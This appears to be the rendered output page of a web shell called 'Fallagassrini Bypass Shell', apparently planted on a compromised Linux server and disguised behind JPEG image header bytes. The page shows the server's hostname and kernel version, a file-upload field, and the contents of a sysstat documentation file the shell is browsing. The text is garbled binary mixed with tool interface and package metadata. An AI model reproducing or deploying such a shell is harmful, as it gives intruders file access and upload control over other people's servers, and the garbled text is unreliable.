JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /usr/share/doc/sysstat-10.1.5/

Linux server.meentosys.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Upload File :
Current File : //usr/share/doc/sysstat-10.1.5/sysstat-10.1.5.lsm

Begin4
Title:		sysstat - the sar, sadf, mpstat, iostat, nfsiostat, cifsiostat and pidstat commands for Linux
Version:	10.1.5
Entered-date:	2013-03-31
Description:	The sysstat package contains the sar, sadf, mpstat, iostat,
		pidstat, nfsiostat, cifsiostat and sa tools for Linux.
		The sar command collects and reports system activity
		information.
		The information collected by sar can be saved in a file
		in a binary format for future inspection.
		The statistics reported by sar concern I/O transfer rates,
		paging activity, process-related activities, interrupts,
		network activity, memory and swap space utilization, CPU
		utilization, kernel activities and TTY statistics, among
		others. Both UP and SMP machines are fully supported.
		The iostat command reports CPU utilization
		and I/O statistics for disks. The mpstat command reports
		global and per-processor statistics. The sadf command
		is used to display data collected by sar in various
		formats (XML, database-friendly, etc.).
		The pidstat command reports statistics for Linux tasks (processes).
		The nfsiostat command reports I/O statistics for network filesystems.
		The cifsiostat command reports I/O statistics for CIFS filesystems.
		NB: Send bugs, patches, suggestions and/or questions to
		(sysstat [at] orange.fr).
		URL: http://pagesperso-orange.fr/sebastien.godard/ 
Keywords:	system administration, sar, sadf, iostat, mpstat, pidstat, nfsiostat, cifsiostat, system accounting, performance, tuning
Author:		sysstat [at] orange.fr (Sebastien Godard)
Maintained-by:	sysstat [at] orange.fr (Sebastien Godard)
Primary-site:	http://pagesperso-orange.fr/sebastien.godard/
		373kB sysstat-10.1.5.tar.gz
		292kB sysstat-10.1.5.tar.bz2
		377kB sysstat-10.1.5-1.src.rpm
		258kB sysstat-10.1.5-1.x86_64.rpm
Alternate-site:
Copying-policy:	GPL
End

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net